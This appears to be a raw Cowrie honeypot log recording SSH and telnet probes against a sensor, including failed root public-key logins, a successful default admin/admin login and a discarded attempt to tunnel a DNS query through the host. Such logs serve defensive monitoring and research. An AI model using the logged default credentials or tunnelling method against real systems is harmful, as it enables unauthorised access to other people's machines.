{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:10.529978Z","src_ip":"209.126.2.70","session":"823b78b8018b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.184085845947266,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:18.893109Z","src_ip":"128.199.8.54","session":"20819d61d8e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.221226930618286,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:24.225316Z","src_ip":"128.199.8.54","session":"9ba8c7209180","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44722,"dst_ip":"159.203.135.109","dst_port":23,"session":"35e682e5e4ec","protocol":"telnet","message":"New connection: 128.199.8.54:44722 (159.203.135.109:23) [session: 35e682e5e4ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:25.278770Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38966,"dst_ip":"159.203.135.109","dst_port":23,"session":"e988607bf6f2","protocol":"telnet","message":"New connection: 128.199.8.54:38966 (159.203.135.109:23) [session: e988607bf6f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:25.390797Z"}
{"eventid":"cowrie.session.connect","src_ip":"184.154.156.13","src_port":47954,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea40892554d7","protocol":"ssh","message":"New connection: 184.154.156.13:47954 (10.17.0.5:22) [session: ea40892554d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:25.977092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:25.982409Z","src_ip":"184.154.156.13","session":"ea40892554d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:26.012029Z","src_ip":"184.154.156.13","session":"ea40892554d7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:f3:0a:ed:5b:bb:cb:50:a0:3e:cd:75:22:50:24:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDybGglvf0Ya/0qENzYDRxQVSttYrd9n7s2XPZ98skmoaSe+R8cU0wikQRdHQzcHlFpS3Ueh077aXayBAdT+WzuUY8h5TtDinH63c+rutcyooIvHG+d/h0wMlJ5Js7opzhQ0V+fHPt9jf2dft0LqXf/U54Sgx0ekf+nEGTuIWXC+VDhik/mJGIn7cDYTjkAP+uXHEBbWLI2Pl59FcMRR/Sg5/CxieTG/fRlht+DCFQOvanR+FWGK8h0Fyqm8hLbBVxsLs1Zp5WeqHNkbnjaFCeFmwN03Fym5V661Vq0GtTf671qJ7YAAMYVk4628oAEPOP2vvtX7qIF1ejztS2hUbkL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 64:f3:0a:ed:5b:bb:cb:50:a0:3e:cd:75:22:50:24:92","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:26.146623Z","src_ip":"184.154.156.13","session":"ea40892554d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:f3:0a:ed:5b:bb:cb:50:a0:3e:cd:75:22:50:24:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDybGglvf0Ya/0qENzYDRxQVSttYrd9n7s2XPZ98skmoaSe+R8cU0wikQRdHQzcHlFpS3Ueh077aXayBAdT+WzuUY8h5TtDinH63c+rutcyooIvHG+d/h0wMlJ5Js7opzhQ0V+fHPt9jf2dft0LqXf/U54Sgx0ekf+nEGTuIWXC+VDhik/mJGIn7cDYTjkAP+uXHEBbWLI2Pl59FcMRR/Sg5/CxieTG/fRlht+DCFQOvanR+FWGK8h0Fyqm8hLbBVxsLs1Zp5WeqHNkbnjaFCeFmwN03Fym5V661Vq0GtTf671qJ7YAAMYVk4628oAEPOP2vvtX7qIF1ejztS2hUbkL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:26.150540Z","src_ip":"184.154.156.13","session":"ea40892554d7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:8a:0d:1e:ff:e4:40:ca:20:fe:8b:59:73:08:cb:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcCaTTFfO1JAQQEu8iWGzL142G1v0zAWnS7iB6iy5h+k95L1GmlzcGoku+fPgKkO60XmW9toiFBkL2g43snKu5NOHbE/OHkPRb9xJnBQetnuv3VvlkVBrWjTUi5WDTLz1YSl+Hj7Tf8f5qjBmkwUX+7F3o/wHpMDzk8Jqp74nGoAymMCKZxvp0zqhWhXQAFJMbmygehlUCyel2N2c+rCbG51/Yyz076KEIJFp+ZZaLpyF/I7MmSMMfJubR+vjTxFDjT+He6LaLF5dqmsSeA64fts2BXD8M5wnnfKLw5lS7aD6h8rG3rM037kaxn2GX9a54OoYiATVH6+hoMKM+j8Rd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 04:8a:0d:1e:ff:e4:40:ca:20:fe:8b:59:73:08:cb:65","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:26.183356Z","src_ip":"184.154.156.13","session":"ea40892554d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:8a:0d:1e:ff:e4:40:ca:20:fe:8b:59:73:08:cb:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcCaTTFfO1JAQQEu8iWGzL142G1v0zAWnS7iB6iy5h+k95L1GmlzcGoku+fPgKkO60XmW9toiFBkL2g43snKu5NOHbE/OHkPRb9xJnBQetnuv3VvlkVBrWjTUi5WDTLz1YSl+Hj7Tf8f5qjBmkwUX+7F3o/wHpMDzk8Jqp74nGoAymMCKZxvp0zqhWhXQAFJMbmygehlUCyel2N2c+rCbG51/Yyz076KEIJFp+ZZaLpyF/I7MmSMMfJubR+vjTxFDjT+He6LaLF5dqmsSeA64fts2BXD8M5wnnfKLw5lS7aD6h8rG3rM037kaxn2GX9a54OoYiATVH6+hoMKM+j8Rd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:26.187682Z","src_ip":"184.154.156.13","session":"ea40892554d7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:1f:71:bd:bf:ce:97:ca:47:0e:f4:6a:8f:1d:aa:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3yfnzOigHExD3vCRm90Hu9zeU7XGKUJyHqUgRVQYwGZjhu/TB24eF7qlzw32v2cdFMqEQHA9wTJ+nnH144I90J5OBKmVM7aAF0HUV/BZol17hCt0ejg+2/Quuw31tnjjPlpx5it7mVLxiu9ExWIaXd0AdtlCIJW1U5RbAUeSpG18KQlbgvSGg02/FSqIQCFSTr6AsJePHraWGDUhExKQhtMm4kPlsuABf2LQQFIPsZdsmYR9gBudPRCLqbJzqolEm6CskY1e+DJCxzSJ5azHiG1Ign/E50p1wwQzWXsPg3iy5ekO2uP8LkrpQf/iFla4jkDBjvOYkDZkoHbsDyD1BQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 10:1f:71:bd:bf:ce:97:ca:47:0e:f4:6a:8f:1d:aa:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:26.222127Z","src_ip":"184.154.156.13","session":"ea40892554d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:1f:71:bd:bf:ce:97:ca:47:0e:f4:6a:8f:1d:aa:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3yfnzOigHExD3vCRm90Hu9zeU7XGKUJyHqUgRVQYwGZjhu/TB24eF7qlzw32v2cdFMqEQHA9wTJ+nnH144I90J5OBKmVM7aAF0HUV/BZol17hCt0ejg+2/Quuw31tnjjPlpx5it7mVLxiu9ExWIaXd0AdtlCIJW1U5RbAUeSpG18KQlbgvSGg02/FSqIQCFSTr6AsJePHraWGDUhExKQhtMm4kPlsuABf2LQQFIPsZdsmYR9gBudPRCLqbJzqolEm6CskY1e+DJCxzSJ5azHiG1Ign/E50p1wwQzWXsPg3iy5ekO2uP8LkrpQf/iFla4jkDBjvOYkDZkoHbsDyD1BQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:26.226335Z","src_ip":"184.154.156.13","session":"ea40892554d7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3d:0c:f8:58:3d:51:87:d3:32:6d:5b:0a:62:e6:3a:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQKcxu7dTI4REmQ28FB0y/imdXtWAgjJvj70kZ3GOEog4gTVkwrLuMzkpmh9LIzR3l13YEa2GVJEmbKSNcRrecqWZ0LPD8EbplgZNXWwJIoKzwIk+bEZrUYztAwgNfruP2QkaRK4UZ+n2Hz5rs0oXiMySDq+vTrbDfmUdtNHdLC863ff06d/ZA9214U7pEyBuuAgagN+nwhn0mkwZRGxwPxZghKpuULOq/zwUv/7FLmyKt8OgHB2V/A6Kb5ypKWUQz0iLfIa7dnMu4i+khGsjlpO7LPRyB5DRcebV/2XMni2fFRjxPJVmbArW9Jh75FL++NoIk15IpwPR3naSdpGUb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3d:0c:f8:58:3d:51:87:d3:32:6d:5b:0a:62:e6:3a:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:26.257977Z","src_ip":"184.154.156.13","session":"ea40892554d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3d:0c:f8:58:3d:51:87:d3:32:6d:5b:0a:62:e6:3a:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQKcxu7dTI4REmQ28FB0y/imdXtWAgjJvj70kZ3GOEog4gTVkwrLuMzkpmh9LIzR3l13YEa2GVJEmbKSNcRrecqWZ0LPD8EbplgZNXWwJIoKzwIk+bEZrUYztAwgNfruP2QkaRK4UZ+n2Hz5rs0oXiMySDq+vTrbDfmUdtNHdLC863ff06d/ZA9214U7pEyBuuAgagN+nwhn0mkwZRGxwPxZghKpuULOq/zwUv/7FLmyKt8OgHB2V/A6Kb5ypKWUQz0iLfIa7dnMu4i+khGsjlpO7LPRyB5DRcebV/2XMni2fFRjxPJVmbArW9Jh75FL++NoIk15IpwPR3naSdpGUb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:26.261971Z","src_ip":"184.154.156.13","session":"ea40892554d7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:07:74:c8:51:28:c9:44:9d:95:e0:89:4e:11:87:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDC8Nc1ma96I8xlCKGpNQLQ8Hd6ETSFgmkHJoVuJ72e5RNXVudK+XPQMb9vlv5hOYz5JyA+1rnvJWVgpNv/CxBtIX8+KjFoQIe9Yzcz4dHSIJDDo2Lg3KrNSVK7IlZ2Fcd8jSiOvnNHnKzNls4S+/M0kXr5AJbLNr5nWAGmNTZhH9Mej3sK0IlN1k/OURbEVusNyEFAnPLO1JFEabdXkSxj1W0LWsl6AWpgSyUQhEYl3xHuOowqB1zBmXqC9bge7NhkzhGfaX7b+wWT+WXiQkwmxL0XlbVM1poc0pRhY4W3/eh5tTSVviMVF1Ik+43kKzeN0IxG5dmonIs0NzCbvGWpmz1tlk4MZkEmCpBQfYG/YXuCuwA3a+FzHayJ2BglxOHYwpLkgdf3el996XPV9a3MkDSoWuvbVZdeCZLsVyoCO0fWi/d6eOiiQdj0cK8wG7/zU9zRgJb4EKPDPYIaOWdWSkXTLDVoi6HPO3MvlSZjAg9yoP20WXJ54DuJY3oRwcs=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 71:07:74:c8:51:28:c9:44:9d:95:e0:89:4e:11:87:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:26.293337Z","src_ip":"184.154.156.13","session":"ea40892554d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:07:74:c8:51:28:c9:44:9d:95:e0:89:4e:11:87:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDC8Nc1ma96I8xlCKGpNQLQ8Hd6ETSFgmkHJoVuJ72e5RNXVudK+XPQMb9vlv5hOYz5JyA+1rnvJWVgpNv/CxBtIX8+KjFoQIe9Yzcz4dHSIJDDo2Lg3KrNSVK7IlZ2Fcd8jSiOvnNHnKzNls4S+/M0kXr5AJbLNr5nWAGmNTZhH9Mej3sK0IlN1k/OURbEVusNyEFAnPLO1JFEabdXkSxj1W0LWsl6AWpgSyUQhEYl3xHuOowqB1zBmXqC9bge7NhkzhGfaX7b+wWT+WXiQkwmxL0XlbVM1poc0pRhY4W3/eh5tTSVviMVF1Ik+43kKzeN0IxG5dmonIs0NzCbvGWpmz1tlk4MZkEmCpBQfYG/YXuCuwA3a+FzHayJ2BglxOHYwpLkgdf3el996XPV9a3MkDSoWuvbVZdeCZLsVyoCO0fWi/d6eOiiQdj0cK8wG7/zU9zRgJb4EKPDPYIaOWdWSkXTLDVoi6HPO3MvlSZjAg9yoP20WXJ54DuJY3oRwcs=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:26.298104Z","src_ip":"184.154.156.13","session":"ea40892554d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:26.330222Z","src_ip":"184.154.156.13","session":"ea40892554d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50622,"dst_ip":"159.203.135.109","dst_port":23,"session":"22e99b0720d5","protocol":"telnet","message":"New connection: 128.199.8.54:50622 (159.203.135.109:23) [session: 22e99b0720d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:28.183354Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":60992,"dst_ip":"10.17.0.5","dst_port":23,"session":"0faf04daf062","protocol":"telnet","message":"New connection: 212.55.149.117:60992 (10.17.0.5:23) [session: 0faf04daf062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:28.388364Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53458,"dst_ip":"159.203.135.109","dst_port":23,"session":"358c3993ed67","protocol":"telnet","message":"New connection: 128.199.8.54:53458 (159.203.135.109:23) [session: 358c3993ed67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:29.550738Z"}
{"eventid":"cowrie.session.closed","duration":31.98347234725952,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:29.655966Z","src_ip":"69.6.249.0","session":"b5fbe3145f85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.59978413581848,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:36.678456Z","src_ip":"128.199.8.54","session":"f689b660aa05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.44050741195679,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:39.394802Z","src_ip":"128.199.8.54","session":"b408c5f14f4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":18050,"dst_ip":"10.17.0.5","dst_port":22,"session":"d09631d6fcae","protocol":"ssh","message":"New connection: 87.251.64.176:18050 (10.17.0.5:22) [session: d09631d6fcae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:48.808577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:48.813229Z","src_ip":"87.251.64.176","session":"d09631d6fcae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:48.909732Z","src_ip":"87.251.64.176","session":"d09631d6fcae","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:49.200865Z","src_ip":"87.251.64.176","session":"d09631d6fcae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:49.300333Z","session":"d09631d6fcae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:49.398121Z","src_ip":"87.251.64.176","session":"d09631d6fcae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:49.633922Z","src_ip":"87.251.64.176","session":"d09631d6fcae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.39475107192993,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:57.785428Z","src_ip":"128.199.8.54","session":"e988607bf6f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.634650230407715,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:58.913301Z","src_ip":"128.199.8.54","session":"35e682e5e4ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.175432443618774,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:40:01.358693Z","src_ip":"128.199.8.54","session":"22e99b0720d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.168219327926636,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:40:04.718863Z","src_ip":"128.199.8.54","session":"358c3993ed67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42260,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e768d878bab","protocol":"telnet","message":"New connection: 128.199.8.54:42260 (159.203.135.109:23) [session: 6e768d878bab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:40:06.767124Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33232,"dst_ip":"159.203.135.109","dst_port":23,"session":"b16f2f73cbae","protocol":"telnet","message":"New connection: 128.199.8.54:33232 (159.203.135.109:23) [session: b16f2f73cbae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:40:09.217995Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57664,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4e665dc6d5c","protocol":"telnet","message":"New connection: 128.199.8.54:57664 (159.203.135.109:23) [session: a4e665dc6d5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:40:13.380667Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40588,"dst_ip":"159.203.135.109","dst_port":23,"session":"91d2be1950c7","protocol":"telnet","message":"New connection: 128.199.8.54:40588 (159.203.135.109:23) [session: 91d2be1950c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:40:18.813532Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54276,"dst_ip":"159.203.135.109","dst_port":23,"session":"232840676e36","protocol":"telnet","message":"New connection: 128.199.8.54:54276 (159.203.135.109:23) [session: 232840676e36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:40:26.727976Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42980,"dst_ip":"159.203.135.109","dst_port":23,"session":"237e2344b82f","protocol":"telnet","message":"New connection: 128.199.8.54:42980 (159.203.135.109:23) [session: 237e2344b82f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:40:34.186164Z"}
{"eventid":"cowrie.session.closed","duration":32.6019389629364,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:40:39.368937Z","src_ip":"128.199.8.54","session":"6e768d878bab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53204,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf13ac462ec9","protocol":"telnet","message":"New connection: 128.199.8.54:53204 (159.203.135.109:23) [session: cf13ac462ec9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:40:39.397763Z"}
